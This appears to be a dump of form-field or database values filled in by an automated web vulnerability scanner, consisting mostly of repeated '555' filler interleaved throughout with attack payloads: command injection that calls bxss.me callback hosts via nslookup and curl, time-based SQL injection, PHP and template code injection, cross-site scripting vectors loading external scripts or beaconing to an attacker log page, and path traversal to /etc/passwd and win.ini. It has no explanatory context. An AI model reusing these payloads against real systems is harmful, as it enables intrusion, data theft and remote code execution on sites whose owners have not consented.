'+'A'.concat(70-3).concat(22*4).concat(97).concat(85).concat(117).concat(80)+(require'socket' Socket.gethostbyname('hitex'+'dwrkdqukfbe71.bxss.me.')[3].to_s)+'
555
555
gethostbyname(lc('hitnq'.'oazrrgajb4ac3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(71).chr(115).chr(83)
555
555
555
555
'A'.concat(70-3).concat(22*4).concat(121).concat(65).concat(121).concat(78)+(require'socket' Socket.gethostbyname('hitbw'+'zlmbzudm8df94.bxss.me.')[3].to_s)
555
555
555
555
555
555
../555
555
555
555
555
555
555
555
555
555
555
555
echo ufedzr$()\ vwvqul\nz^xyu||a #' &echo ufedzr$()\ vwvqul\nz^xyu||a #|" &echo ufedzr$()\ vwvqul\nz^xyu||a #
555
555
555
555
555
555
555
555
555
&echo bqsrqr$()\ pzwwik\nz^xyu||a #' &echo bqsrqr$()\ pzwwik\nz^xyu||a #|" &echo bqsrqr$()\ pzwwik\nz^xyu||a #
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555<isindex type=image src=1 onerror=s3Al(9521)>
555
xfs.bxss.me
555&echo gjawqc$()\ yniruh\nz^xyu||a #' &echo gjawqc$()\ yniruh\nz^xyu||a #|" &echo gjawqc$()\ yniruh\nz^xyu||a #
555
555
555
555
555
555
555
555
555
|echo nomzui$()\ pasyvc\nz^xyu||a #' |echo nomzui$()\ pasyvc\nz^xyu||a #|" |echo nomzui$()\ pasyvc\nz^xyu||a #
555
555
555
555
555
555
555
555|echo kfpeez$()\ soypzl\nz^xyu||a #' |echo kfpeez$()\ soypzl\nz^xyu||a #|" |echo kfpeez$()\ soypzl\nz^xyu||a #
555
555
555
555
555
555
(nslookup -q=cname hitwzvleffkbk36cec.bxss.me||curl hitwzvleffkbk36cec.bxss.me))
555
555
555
555
555
555
555
555
555
555
$(nslookup -q=cname hithziormlwmua65e6.bxss.me||curl hithziormlwmua65e6.bxss.me)
555
555
555
555
555
555
555
555
555
555
555
555
&nslookup -q=cname hitqquuyszdsma1942.bxss.me&'\"`0&nslookup -q=cname hitqquuyszdsma1942.bxss.me&`'
555
555
555
555
555
555
&(nslookup -q=cname hitbhezbbnaie398b5.bxss.me||curl hitbhezbbnaie398b5.bxss.me)&'\"`0&(nslookup -q=cname hitbhezbbnaie398b5.bxss.me||curl hitbhezbbnaie398b5.bxss.me)&`'
555
'"
555
555
555
555
555
|(nslookup -q=cname hiticqeafyhep0b187.bxss.me||curl hiticqeafyhep0b187.bxss.me)
<!--
555
555
555
`(nslookup -q=cname hitenkdyzqcdo62d60.bxss.me||curl hitenkdyzqcdo62d60.bxss.me)`
555
555
555
555
555
555
;(nslookup -q=cname hitiakdjcarkga54ef.bxss.me||curl hitiakdjcarkga54ef.bxss.me)|(nslookup -q=cname hitiakdjcarkga54ef.bxss.me||curl hitiakdjcarkga54ef.bxss.me)&(nslookup -q=cname hitiakdjcarkga54ef.bxss.me||curl hitiakdjcarkga54ef.bxss.me)
555
555
555
555
555
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitrhetndglty756c4.bxss.me||curl${IFS}hitrhetndglty756c4.bxss.me)
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
';print(md5(31337));$a='
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitvbetnlihfv4fe10.bxss.me||curl${IFS}hitvbetnlihfv4fe10.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitvbetnlihfv4fe10.bxss.me||curl${IFS}hitvbetnlihfv4fe10.bxss.me)&`'
'"()
555
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9801'>
555
";print(md5(31337));$a="
555
555
555'&&sleep(27*1000)*rfszyw&&'
${@print(md5(31337))}
555
555
555
555"&&sleep(27*1000)*dyubbx&&"
555
555
555
${@print(md5(31337))}\
555
555
555'||sleep(27*1000)*xzetnf||'
555
'.print(md5(31337)).'
555
555"||sleep(27*1000)*apzdpn||"
<?php print(md5(31337));?>
555
555
555
'{${print(md5(31337))}}'
print(md5(31337));//
555
{php}print(md5(31337));{/php}
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555<body onload=s3Al(9806)>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<img src=//xss.bxss.me/t/dot.gif onload=s3Al(9613)>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<img src=xyz OnErRor=s3Al(9350)>
555
555
555
555
555
555
${10000171+9999553}
555
555
555
555
555
555
)
555
555
555
555
555
!(()&&!|*|*|
555
555
555
^(#$!@#$)(()))******
555
vafcwwhL
555
koe6z3g0: khTFfvcR
response.write(9024692*9490269)
555
555
555
'+response.write(9024692*9490269)+'
555
555
555
555
555
555
555
555
"+response.write(9024692*9490269)+"
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
555
555
Http://bxss.me/t/fit.txt
555
555
../../../../../../../../../../../../../../etc/passwd
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
../../../../../../../../../../../../../../windows/win.ini
/etc/shells
555
555
555
555
555
file:///etc/passwd
../../../../../../../../../../../../../../etc/shells
555
555
555
555
555
555
c:/windows/win.ini
555
555
../555
555
'.gethostbyname(lc('hitgi'.'ptbdpzgwaa7ab.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(72).chr(114).chr(71).'
555
555<img/src=">" onerror=alert(9250)>
bxss.me
555
555
555
555
".gethostbyname(lc("hitgx"."zsgvalcz3c8ba.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(70).chr(120).chr(76)."
555
555
555
gethostbyname(lc('hithi'.'hpdpenixa37c0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(85).chr(119).chr(82)
555
555
555
555
555
555
555
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(99).concat(71).concat(103).concat(84)+(require"socket" Socket.gethostbyname("hitbm"+"siqgfxas7d9d4.bxss.me.")[3].to_s)+"
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
'+'A'.concat(70-3).concat(22*4).concat(106).concat(85).concat(98).concat(69)+(require'socket' Socket.gethostbyname('hitxq'+'xspzegea58408.bxss.me.')[3].to_s)+'
555
555
echo jyhyjo$()\ impphq\nz^xyu||a #' &echo jyhyjo$()\ impphq\nz^xyu||a #|" &echo jyhyjo$()\ impphq\nz^xyu||a #
555
555
555
555
&echo gpthri$()\ pwkqux\nz^xyu||a #' &echo gpthri$()\ pwkqux\nz^xyu||a #|" &echo gpthri$()\ pwkqux\nz^xyu||a #
555
'A'.concat(70-3).concat(22*4).concat(101).concat(67).concat(122).concat(73)+(require'socket' Socket.gethostbyname('hithd'+'fpozuaqk952ec.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555&echo vanlag$()\ yievmw\nz^xyu||a #' &echo vanlag$()\ yievmw\nz^xyu||a #|" &echo vanlag$()\ yievmw\nz^xyu||a #
555
555
555
555
555
|echo ddvsiv$()\ etblay\nz^xyu||a #' |echo ddvsiv$()\ etblay\nz^xyu||a #|" |echo ddvsiv$()\ etblay\nz^xyu||a #
555
555
555
555
555
555
555
555
555|echo eunlvt$()\ hsvzvp\nz^xyu||a #' |echo eunlvt$()\ hsvzvp\nz^xyu||a #|" |echo eunlvt$()\ hsvzvp\nz^xyu||a #
555
555
555
xfs.bxss.me
555
(nslookup -q=cname hitznuvytlhdb43c3e.bxss.me||curl hitznuvytlhdb43c3e.bxss.me))
555
555
555
555
555
555
555
555
555
'"
$(nslookup -q=cname hitaexlvzliprb99d5.bxss.me||curl hitaexlvzliprb99d5.bxss.me)
555
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%73%33%41%6C%289132%29%3C%2F%73%43%72%69%70%54%3E
555
<!--
555
555
'"()
555
&nslookup -q=cname hitrgfyxkfvrkf7afc.bxss.me&'\"`0&nslookup -q=cname hitrgfyxkfvrkf7afc.bxss.me&`'
555'&&sleep(27*1000)*cdnyih&&'
555
555
555
&(nslookup -q=cname hitswygeeatgc7067f.bxss.me||curl hitswygeeatgc7067f.bxss.me)&'\"`0&(nslookup -q=cname hitswygeeatgc7067f.bxss.me||curl hitswygeeatgc7067f.bxss.me)&`'
555"&&sleep(27*1000)*lvxbaw&&"
555*if(now()=sysdate(),sleep(15),0)
555
555'||sleep(27*1000)*zylvun||'
555
|(nslookup -q=cname hitoyakrhisht11e8c.bxss.me||curl hitoyakrhisht11e8c.bxss.me)
555
555"||sleep(27*1000)*eetekq||"
`(nslookup -q=cname hitnqorqvhxax5e70b.bxss.me||curl hitnqorqvhxax5e70b.bxss.me)`
555
555
555
;(nslookup -q=cname hithbdtfpqhpgef374.bxss.me||curl hithbdtfpqhpgef374.bxss.me)|(nslookup -q=cname hithbdtfpqhpgef374.bxss.me||curl hithbdtfpqhpgef374.bxss.me)&(nslookup -q=cname hithbdtfpqhpgef374.bxss.me||curl hithbdtfpqhpgef374.bxss.me)
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitgigotmmeds11685.bxss.me||curl${IFS}hitgigotmmeds11685.bxss.me)
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitzodeuyexka77174.bxss.me||curl${IFS}hitzodeuyexka77174.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitzodeuyexka77174.bxss.me||curl${IFS}hitzodeuyexka77174.bxss.me)&`'
555
555
555*if(now()=sysdate(),sleep(15),0)
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
';print(md5(31337));$a='
555
";print(md5(31337));$a="
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
${@print(md5(31337))}
${@print(md5(31337))}\
'.print(md5(31337)).'
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
<?php print(md5(31337));?>
'{${print(md5(31337))}}'
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
print(md5(31337));//
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
{php}print(md5(31337));{/php}
555\u003CScRiPt\s3Al(9340)\u003C/sCripT\u003E
555
[php]print(md5(31337));[/php]
555
555
555
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
555
555
555
555
555-1; waitfor delay '0:0:15' --
555
555
555
555
555
555
555-1; waitfor delay '0:0:15' --
555
555
555
555
555
555-1); waitfor delay '0:0:15' --
555
555
555
555
555
555
555
555
555-1); waitfor delay '0:0:15' --
555
555
555
555
555-1 waitfor delay '0:0:15' --
555
555
555<ScRiPt>s3Al(9923)</sCripT>
555
555
555
555
555
555
555
555-1 waitfor delay '0:0:15' --
555
555
555
555
555
555
555rlGiHyaG'; waitfor delay '0:0:15' --
555
555
555
555
555
555
555BBlrRRj3'; waitfor delay '0:0:15' --
555
555
555
555-1 OR 227=(SELECT 227 FROM PG_SLEEP(15))--
555
555-1) OR 963=(SELECT 963 FROM PG_SLEEP(15))--
555
555
555-1) OR 789=(SELECT 789 FROM PG_SLEEP(15))--
555-1)) OR 883=(SELECT 883 FROM PG_SLEEP(15))--
555
555<input autofocus onfocus=s3Al(9163)>
555-1)) OR 517=(SELECT 517 FROM PG_SLEEP(15))--
555lbpeilIP' OR 738=(SELECT 738 FROM PG_SLEEP(15))--
555
555
555PKQ1aLB8' OR 662=(SELECT 662 FROM PG_SLEEP(15))--
555kVqyur2e') OR 270=(SELECT 270 FROM PG_SLEEP(15))--
555
5559RZlxSng') OR 995=(SELECT 995 FROM PG_SLEEP(15))--
555CQL7R6dL')) OR 236=(SELECT 236 FROM PG_SLEEP(15))--
555
<a HrEF=http://xss.bxss.me></a>
5550Od8rprs')) OR 673=(SELECT 673 FROM PG_SLEEP(15))--
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
555
@@uTA7x
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
<a HrEF=jaVaScRiPT:>
555
555
@@T0ELd
555
555
555
555
555
555
555}body{zzz:Expre/**/SSion(s3Al(9981))}
555
555
555
555
5551JDHT <ScRiPt >s3Al(9125)</ScRiPt>
555
555
555
555
555
555
555<WEUE98>IOL0M[!+!]</WEUE98>
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555<ifRAme sRc=9124.com></IfRamE>
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555<abA7UEq x=9808>
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
555
555-1; waitfor delay '0:0:15' --
555
555
555<img sRc='http://attacker-9190/log.php?
555-1); waitfor delay '0:0:15' --
555
555
555
555-1 waitfor delay '0:0:15' --
555
555
555<aZNQ3db<
555jkhO5Icu'; waitfor delay '0:0:15' --
555
555
555-1 OR 911=(SELECT 911 FROM PG_SLEEP(15))--
555
555
555-1) OR 923=(SELECT 923 FROM PG_SLEEP(15))--
555
555
555-1)) OR 750=(SELECT 750 FROM PG_SLEEP(15))--
555
555
555fEY9JVtG' OR 424=(SELECT 424 FROM PG_SLEEP(15))--
555
555
555ZdDjq8Tm') OR 260=(SELECT 260 FROM PG_SLEEP(15))--
555
555
555kxrvLs8D')) OR 197=(SELECT 197 FROM PG_SLEEP(15))--
555
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@oThDQ
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
${9999949+10000081}
555
555
555
555
555
555
)
!(()&&!|*|*|
555
^(#$!@#$)(()))******
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
response.write(9429642*9819313)
555
'+response.write(9429642*9819313)+'
555
555
"+response.write(9429642*9819313)+"
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
Http://bxss.me/t/fit.txt
fXqZDjcx
555
555
http://bxss.me/t/fit.txt%3F.jpg
MBuADXlh: DeKb0Uwk
555
555
555
/etc/shells
555
555
555
555
../../../../../../../../../../../../../../etc/shells
555
555
555
555
555
c:/windows/win.ini
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
../../../../../../../../../../../../../../etc/passwd
555
555
555
../../../../../../../../../../../../../../windows/win.ini
555
555
file:///etc/passwd
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
../555
555
555
555
555
'.gethostbyname(lc('hitvg'.'ckyfifkva908c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(65).chr(97).chr(72).'
555
555
555
".gethostbyname(lc("hitif"."tnbqckfi5d716.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(70).chr(121).chr(82)."
555
555
gethostbyname(lc('hitrv'.'tcxsgogye5b7a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(86).chr(102).chr(72)
echo crppln$()\ gagliw\nz^xyu||a #' &echo crppln$()\ gagliw\nz^xyu||a #|" &echo crppln$()\ gagliw\nz^xyu||a #
555
555
555
&echo sjjwjm$()\ ogsxmj\nz^xyu||a #' &echo sjjwjm$()\ ogsxmj\nz^xyu||a #|" &echo sjjwjm$()\ ogsxmj\nz^xyu||a #
555
"+"A".concat(70-3).concat(22*4).concat(118).concat(71).concat(106).concat(67)+(require"socket" Socket.gethostbyname("hitxk"+"qxydzcgs36075.bxss.me.")[3].to_s)+"
555&echo crufpz$()\ xiimbr\nz^xyu||a #' &echo crufpz$()\ xiimbr\nz^xyu||a #|" &echo crufpz$()\ xiimbr\nz^xyu||a #
555
555
555
555
'+'A'.concat(70-3).concat(22*4).concat(116).concat(79).concat(111).concat(75)+(require'socket' Socket.gethostbyname('hitqc'+'fyloirui91b3d.bxss.me.')[3].to_s)+'
|echo tbxzgj$()\ krqcsf\nz^xyu||a #' |echo tbxzgj$()\ krqcsf\nz^xyu||a #|" |echo tbxzgj$()\ krqcsf\nz^xyu||a #
555
555
555
555
555|echo csfxbi$()\ wtzpgz\nz^xyu||a #' |echo csfxbi$()\ wtzpgz\nz^xyu||a #|" |echo csfxbi$()\ wtzpgz\nz^xyu||a #
555
555
(nslookup -q=cname hithkmlxbvjrz88047.bxss.me||curl hithkmlxbvjrz88047.bxss.me))
'A'.concat(70-3).concat(22*4).concat(103).concat(70).concat(112).concat(85)+(require'socket' Socket.gethostbyname('hitea'+'ckczqfsh45448.bxss.me.')[3].to_s)
555
555
555
555
$(nslookup -q=cname hitpnzwonrqnu1e7f6.bxss.me||curl hitpnzwonrqnu1e7f6.bxss.me)
555
555
555
555
555
555
&nslookup -q=cname hitqwhanfyjbla9691.bxss.me&'\"`0&nslookup -q=cname hitqwhanfyjbla9691.bxss.me&`'
555
555
555
555
555
555
&(nslookup -q=cname hitmbeszmxuja7045a.bxss.me||curl hitmbeszmxuja7045a.bxss.me)&'\"`0&(nslookup -q=cname hitmbeszmxuja7045a.bxss.me||curl hitmbeszmxuja7045a.bxss.me)&`'
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
|(nslookup -q=cname hityiepzycxcz0b2ee.bxss.me||curl hityiepzycxcz0b2ee.bxss.me)
555
555
555
555
`(nslookup -q=cname hitgpzmbghqrw75cfc.bxss.me||curl hitgpzmbghqrw75cfc.bxss.me)`
555
555
555
;(nslookup -q=cname hitlqymcifngd0b287.bxss.me||curl hitlqymcifngd0b287.bxss.me)|(nslookup -q=cname hitlqymcifngd0b287.bxss.me||curl hitlqymcifngd0b287.bxss.me)&(nslookup -q=cname hitlqymcifngd0b287.bxss.me||curl hitlqymcifngd0b287.bxss.me)
xfs.bxss.me
555
555
555
555
555
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitvslxwjeqem2c8c3.bxss.me||curl${IFS}hitvslxwjeqem2c8c3.bxss.me)
555
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitetqwvsuyeae79bd.bxss.me||curl${IFS}hitetqwvsuyeae79bd.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitetqwvsuyeae79bd.bxss.me||curl${IFS}hitetqwvsuyeae79bd.bxss.me)&`'
555
'"
555
555
<!--
555
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
';print(md5(31337));$a='
555
555
";print(md5(31337));$a="
555
${@print(md5(31337))}
555
${@print(md5(31337))}\
'.print(md5(31337)).'
<?php print(md5(31337));?>
'"()
555'&&sleep(27*1000)*tmhsbc&&'
'{${print(md5(31337))}}'
print(md5(31337));//
555
555"&&sleep(27*1000)*bjaxgs&&"
{php}print(md5(31337));{/php}
555'||sleep(27*1000)*jwtnjo||'
555
[php]print(md5(31337));[/php]
555
555
555"||sleep(27*1000)*dndawm||"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555XOAM6jnt'; waitfor delay '0:0:15' --
555-1 OR 496=(SELECT 496 FROM PG_SLEEP(15))--
555-1) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
555-1)) OR 722=(SELECT 722 FROM PG_SLEEP(15))--
555XPeK72FY' OR 107=(SELECT 107 FROM PG_SLEEP(15))--
555OqMznRAp') OR 607=(SELECT 607 FROM PG_SLEEP(15))--
555Ijevtljy')) OR 986=(SELECT 986 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@1RBAA
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<zzz><ScRiPt >f6GR(9853)</ScRiPt>
555
'"()&%<zzz><ScRiPt >f6GR(9274)</ScRiPt>
555
5559722948
555
bfg1484%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl1484
555
bfgx6654%C0%BEz1%C0%BCz2a%90bcxhjl6654
555
<%={{={@{#{${dfb}}%>
555
<th:t="${dfb}#foreach
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
dfb{{98991*97996}}xca
555
dfb[[${98991*97996}]]xca
555
dfb__${98991*97996}__::.x
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555<ScRiPt >f6GR(9055)</ScRiPt>
555
555<WAWZ6P>CRZR9[!+!]</WAWZ6P>
555
555<script>f6GR(9601)</script>
555
555<script>f6GR(9650)</script>9650
555
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%66%36%47%52%28%39%35%31%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555
555
555<ScRiPt >f6GR(9885)</ScRiPt>
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9856></ScRiPt>
555
555< ScRiPt >f6GR(9601)</ScRiPt>
555
555<isindex type=image src=1 onerror=f6GR(9837)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9325'>
555
555
555<body onload=f6GR(9617)>
555
555<img src=//xss.bxss.me/t/dot.gif onload=f6GR(9787)>
555
555<img src=xyz OnErRor=f6GR(9309)>
555<img/src=">" onerror=alert(9435)>
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%66%36%47%52%289829%29%3C%2F%73%43%72%69%70%54%3E
555
555
555\u003CScRiPt\f6GR(9048)\u003C/sCripT\u003E
555<ScRiPt>f6GR(9656)</sCripT>
555
555<input autofocus onfocus=f6GR(9140)>
555
<a HrEF=http://xss.bxss.me></a>
555
<a HrEF=jaVaScRiPT:>
555
555}body{zzz:Expre/**/SSion(f6GR(9331))}
555
555p0S9f <ScRiPt >f6GR(9721)</ScRiPt>
555
555<WG4E7I>HLGDX[!+!]</WG4E7I>
555
555
555<ifRAme sRc=9865.com></IfRamE>
555
555<asTBk2M x=9395>
555
555<img sRc='http://attacker-9238/log.php?
555
555<a1qKU06<
555'"()&%<zzz><ScRiPt >NAqP(9010)</ScRiPt>
'"()&%<zzz><ScRiPt >NAqP(9894)</ScRiPt>
555
555
5559100331
555
555
bfg10006%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl10006
555
555
bfgx1469%C0%BEz1%C0%BCz2a%90bcxhjl1469
555
555
<%={{={@{#{${dfb}}%>
555
555
<th:t="${dfb}#foreach
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555
dfb{{98991*97996}}xca
555
555
dfb[[${98991*97996}]]xca
555
555
dfb__${98991*97996}__::.x
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555<ScRiPt >NAqP(9285)</ScRiPt>
555
555
555<WDY79L>GDVUH[!+!]</WDY79L>
555
555
555
555<script>NAqP(9809)</script>
555
555<script>NAqP(9159)</script>9159
555
555
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%4E%41%71%50%28%39%36%36%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555
555
555<ScRiPt >NAqP(9709)</ScRiPt>
555
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9269></ScRiPt>
555
555
555< ScRiPt >NAqP(9861)</ScRiPt>
555
555
555
555<isindex type=image src=1 onerror=NAqP(9524)>
555
555
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9316'>
555<body onload=NAqP(9059)>
555
555
555<img src=//xss.bxss.me/t/dot.gif onload=NAqP(9432)>
555
555
555<img src=xyz OnErRor=NAqP(9889)>
555
555
555<img/src=">" onerror=alert(9524)>
555
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%4E%41%71%50%289717%29%3C%2F%73%43%72%69%70%54%3E
555'"()&%<zzz><ScRiPt >tqwM(9107)</ScRiPt>
555
555
555\u003CScRiPt\NAqP(9555)\u003C/sCripT\u003E
'"()&%<zzz><ScRiPt >tqwM(9122)</ScRiPt>
555
555<ScRiPt>NAqP(9283)</sCripT>
555
5559450259
555
555
555
555<input autofocus onfocus=NAqP(9401)>
bfg8972%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl8972
555
555
bfgx6508%C0%BEz1%C0%BCz2a%90bcxhjl6508
<a HrEF=http://xss.bxss.me></a>
555
<a HrEF=jaVaScRiPT:>
<%={{={@{#{${dfb}}%>
555
<th:t="${dfb}#foreach
555
555}body{zzz:Expre/**/SSion(NAqP(9002))}
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555a2lpw <ScRiPt >NAqP(9625)</ScRiPt>
555
555
dfb{{98991*97996}}xca
555<WK84UC>DREQC[!+!]</WK84UC>
555
555
555<ifRAme sRc=9629.com></IfRamE>
dfb[[${98991*97996}]]xca
555
555
dfb__${98991*97996}__::.x
555<aVjDhQa x=9144>
555
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555<img sRc='http://attacker-9637/log.php?
555
555
555<ScRiPt >tqwM(9036)</ScRiPt>
555<aOLDaqK<
555
555
555<WD2RQD>7ORXH[!+!]</WD2RQD>
555
555<script>tqwM(9233)</script>
555
555
555
555<script>tqwM(9646)</script>9646
555
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%74%71%77%4D%28%39%36%30%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555<ScRiPt >tqwM(9534)</ScRiPt>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9193></ScRiPt>
555< ScRiPt >tqwM(9730)</ScRiPt>
555<isindex type=image src=1 onerror=tqwM(9261)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9928'>
555<body onload=tqwM(9175)>
555<img src=//xss.bxss.me/t/dot.gif onload=tqwM(9099)>
555<img src=xyz OnErRor=tqwM(9923)>
555<img/src=">" onerror=alert(9348)>
%35%35%35%3C%53%63%52%69%50%74%20%3E%74%71%77%4D%289705%29%3C%2F%73%43%72%69%70%54%3E
555\u003CScRiPt\tqwM(9229)\u003C/sCripT\u003E
555<ScRiPt>tqwM(9648)</sCripT>
555'"()&%<zzz><ScRiPt >pwL4(9259)</ScRiPt>
555
555<input autofocus onfocus=tqwM(9556)>
'"()&%<zzz><ScRiPt >pwL4(9082)</ScRiPt>
<a HrEF=http://xss.bxss.me></a>
555
5559164802
<a HrEF=jaVaScRiPT:>
555
bfg2908%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl2908
555}body{zzz:Expre/**/SSion(tqwM(9217))}
555
bfgx9106%C0%BEz1%C0%BCz2a%90bcxhjl9106
5558lBBs <ScRiPt >tqwM(9183)</ScRiPt>
555
<%={{={@{#{${dfb}}%>
555<WMGZYJ>NYVM6[!+!]</WMGZYJ>
555
<th:t="${dfb}#foreach
555<ifRAme sRc=9170.com></IfRamE>
555
